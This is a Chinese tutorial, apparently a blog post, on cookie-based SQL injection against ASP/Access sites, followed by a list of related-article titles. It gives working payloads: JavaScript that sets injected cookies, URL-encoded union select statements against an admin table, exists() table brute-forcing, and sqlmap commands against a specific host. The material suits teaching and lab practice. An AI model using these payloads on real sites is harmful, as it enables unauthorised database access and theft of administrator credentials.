一、Cookie注入简介

Cookie是代表身份的一串字符,网站根据Cookie来识别身份,如果获取了管理员的Cookie,就可以无需密码直接登陆管理员账号。

Cookie注入原理:
在动态脚本语言中存在超全局变量可以获取多种传参方式(大多数),开发者考虑到多种接受参数,在解释参数的时候也是用多种解释传参的方法。

例如,PHP中的$_REQUEST变量可以获取POST、GET、COOKIE传参

常见的数据库有Access、Mysql、mssql(SqlServer)、Oracle

Cookie注入在老一点的ASP网站常见,PHP看版本,因为在高于5.2以上的PHP版本中,$_REQUEST变量将不再接受cookie传参

早期网站防护只检测GET和POST传参,没有检测COOKIE,所以可以绕过验证

Cookie注入是依靠特殊的传参方式产生的注入

二、设置Cookie

1、在浏览器中设置
谷歌浏览器:F5:Application:Cookie

浏览器设置可能会遇到问题

2、抓包直接修改

有一点需要注意的是,本地IP127.0.0.1无法被Burp抓包,必须使用分配的IP

3、使用浏览器插件修改

谷歌浏览器有修改Cookie的插件EditThisCookie,有可能被拦截

4、浏览器自带Javascript进行设置

谷歌浏览器:F12:Console

Cookie注入最好进行一次编码,与版本有关系

在线URL编码解码

document.cookie #查看当前Cookie#Cookie名字为 id
#escape是一个编码函数,会进行一次URL编码
document.cookie="id="+escape("171")document.cookie="id=169"

#“+”号是拼接符
#escape是一个编码函数,会进行一次URL编码
#双引号代表字符串内容
document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin")

三、Cookie注入

一般而言,有两种绕过拦截的方法:
(1)走不被检测的入口
(2)规避规则

先使用插件添加一个新的Cookie

如果Cookie传参可以影响到页面,意味着存在Cookie传参,并且可以拼接进数据库

在线URL编码解码

Burp中也有URL编码模块Decoder

COOKIE注入时要删除URL内的id传参,URL里的id传参进去会有一个输出,cookie里也传参了一个id数值,他会优先接受GET的传参,具体看语言,PHP会优先接受Cookie传参.

#Cooike注入,需要URL编码#注入语句
171 order by 10
#URL编码后,填入Cookie值
171+order+by+10#检测输出点
#Access是一种较为老旧地数据库,没有库名,只有表和字段
#select 1,2,3是mysql特有的查询语句
#大部分数据库需要正常查询,即select XX from 表名
#猜测表名为admin
#admin表中常有id、username字段
171 union select 1,2,3,4,5,6,7,8,9,10 from admin
#网页编码后
171+union+select+1%2c2%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10+from+admin
#使用Burp编码后,本质是相同的
%31%37%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%20%66%72%6f%6d%20%61%64%6d%69%6e

Access数据库,没有系统自带表,而且Access数据库只有一个数据库,不用纠结库名,只能通过爆破获取表名和字段名

在盛行Access数据库的年代,账号密码一般都在admin表的username和password字段中

#爆破表名
#exists()函数是检查子查询能否查询到数据,如果能会就返回True
#即如果页面正常,就是存在该表
#字段名可以通过偏移注入获取
and exists(select * from 表名)
#在sqlmap中会有常见的表名
#常见的表名:admin、news、job、work、admin_user、user
#sqlmap\sqlmap-master\data\txt\common-tables.txt
#sqlmap跑表名有时候也是强行爆破

判断网页的数据库(可能):
ASP:Access(接近淘汰)
PHP:Mysql、Oracle、Mssql
ASPX:mssql
JSP:Oracle、Mysql

#是mysql特有的注释
mssql有特有的系统自带库名
oracle有特定的语法

有的站点会伪装后缀,使得他人不能够判断数据库,可以抓包看一下,即查看返回包(Repeater模块)的X-Powered-By标识,当然,有的网站也会处理返回包

sqlmap跑Cookie注入:

python sqlmap.py -r 1.txt

python sqlmap.py -u "http://59.6.20.9:8004/shownews.asp" --cookie "id=171" --level 2

sqlmap能跑出来的标识:

可能存在Cookie注入的网站:
(1)ASP的站点存在可能性极高
(2)PHP版本低于5.3的站点存在可能性极高

当然,Cookie注入并不是优先手段,SQL注入是存在尝试顺序的:
(1)显错注入
(2)报错注入
(3)布尔盲注
(4)时间盲注
(5)宽字节注入
(6)Cookie注入

设置Cookie能够影响到页面的数据,不代表存在SQL注入

Access-Cookie注入相关推荐

  1. 【CyberSecurityLearning 60】ACCESS数据库的注入+ACCESS数据库的cookie注入

    目录 ACCESS注入 雷驰新闻系统v1.0环境搭建: ACCESS数据库注入演示1: 雷驰新闻系统v3.0环境搭建: cookie注入演示2: ACCESS数据库注入用sqlmap怎么做?演示: A ...

  2. Access数据库——Cookie注入

    目录 1.Cookie注入 什么是Cookie? Cookie注入简介 Cookie和注入有什么关系? Cookie的核心 2.如何设置Cookie? 方法一:依靠浏览器进行设置 方法二:抓包直接修改 ...

  3. 手工、工具分别实现cookie注入

    最开始的判断access类型的网站注入点可以用"1 and 1=1"来判断. 不过现在的网站基本上被挡住了.之后呢,可以考虑cookie注入. Dim Tc_Post,Tc_Get ...

  4. 【渗透测试】cookie注入笔记

    目录 什么是cookie? 什么是cookie注入? Cookie手注流程 一.判断注入点 二.判断字段数 三.判断回显点 四.查询相关内容 补充 答疑 1.为什么是select 1,2 不是 sel ...

  5. Access数据库注入之偏移注入

    文章目录 一.偏移注入使用场景 二.必要的SQL知识补充 (一)admin.*是什么意思? (二)联合查询的字段数问题 (三)access如何查询指定数据? 三.靶场实战 (一)判断是否存在cooki ...

  6. Cookie注入是怎样产生的

    Cookie注入是怎样产生的 现在很多网站都加了防注入系统代码,你输入注入语句将无法注入~~感觉这样的防注入系统不错,但防注入系统没有注意到 Cookies 的问题!所以就有了Cookies注入~~ ...

  7. 关于sql注入之cookie注入

    小知识:所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后 ...

  8. Access数据库注入

    目录 Access数据库 Access数据库中的函数 盲注Access数据库 Sqlmap注入Access数据库 Access数据库 Microsoft Office Access是由微软发布的关系数 ...

  9. sqlmap指定cookie_利用SQLMap进行cookie注入

    SQLMap被称为注入神器,N多大神都使用SQLmap来进行注入测试,我等小菜当然也会用来装一下A*C,用了N久SQLMAP了,但是极少用 到cookie注入,一遇到cookie注入就去使用注入中转工 ...

  10. cookie注入讲解

    我们首先还是来看看中网景论坛的最新版本"(CNKBBS2007)中网景论坛2007v5.0 "官方下载地址" http://www.cnetking.com/websys ...

最新文章

  1. IC设计通过system c 建模和 rtl级的有什么区别
  2. java servlet拾遗(1)-Servlet总揽
  3. 操作系统:第三章 内存管理2 - 详解虚拟内存,页面置换算法,页面分配策略
  4. struts2 mysql 分页代码_Struts2 + MySQL 实现分页
  5. .NET平台开发必须掌握的XML知识(二)
  6. dudu: 图片显示错误问题,望更正
  7. 二叉树与树、森林之间的转换
  8. python 字符串函数_Python字符串函数
  9. 洛谷——P1507 NASA的食物计划
  10. hadoop合并日志_Hadoop深入学习:HDFS主要流程——SNN合并fsimage和编辑日志
  11. 2021-09-03Dien
  12. 形式语言与自动机总结笔记
  13. editormd图片编辑( 结合SpringBoot 实现)
  14. 在虚拟机中安装windows server 2008
  15. 中国汽车市场的合资模式终究覆灭
  16. django:自动生成接口文档
  17. 独家爆料:创宇云与小鸟云的故事
  18. 芭比娃娃缘何泪洒上海滩?
  19. 独孤思维:免费软件搬运项目,零成本玩公众号赚零花钱
  20. AutoCAD正版软件多少钱?企业应该采购多少license?

热门文章

  1. 人脸识别(cv2库的实现)
  2. PV操作经典例题——哲学家进餐问题
  3. 前端面试题总结【持续更新···】
  4. arcgis.js加载geojson
  5. 『译』RGB-D Salient Object Detection, A Review『译』
  6. bitset 用法 (转)
  7. php+mysql+apache集成安装包
  8. C语言实现估计信号的幅度
  9. 附录002《 Git 中的重要概念》
  10. 获取webservice(wsdl)数据包